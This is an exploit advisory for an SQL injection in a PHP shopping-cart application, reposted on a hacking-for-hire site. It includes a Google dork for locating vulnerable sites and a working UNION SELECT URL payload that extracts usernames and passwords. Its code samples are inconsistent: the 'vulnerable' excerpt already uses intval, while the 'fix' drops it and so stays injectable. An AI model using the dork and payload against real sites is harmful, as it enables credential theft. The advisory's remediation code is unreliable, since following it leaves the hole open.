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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title.............. Simple Shopping Cart Application SQL Injection
# Google Dork................ inurl:"product-details.php?prodid=" "Designed by FBC Students"
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/php/10181/simple-shopping-cart-application-php-mysql.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/tyron69/ecommerce_0.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in shop/product-details.php
-------------------------------

----snip----

	$prodID = intval($_GET['prodid']);

	if(!empty($prodID)){
		$sqlSelectSpecProd = mysql_query("select * from products where id = '$prodID'") or die(mysql_error());
		$getProdInfo = mysql_fetch_array($sqlSelectSpecProd);
		$prodname= $getProdInfo["Product"];

----snip----


Example exploitation
--------------------
http://server/shop/product-details.php?prodid=-80%27%20union%20select%201,2,concat(username,0x3a,password),4,version(),user()%20from%20user--+


How to fix
----------
Simple method's use the php function intval.
For example

	$prodID = $_GET['prodid'];

	if(!empty($prodID)){
		$sqlSelectSpecProd = mysql_query("select * from products where id = '$prodID'") or die(mysql_error());
		$getProdInfo = mysql_fetch_array($sqlSelectSpecProd);
		$prodname= $getProdInfo["Product"];

Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/10181/simple-shopping-cart-application-php-mysql.html
http://php.net/manual/en/function.intval.php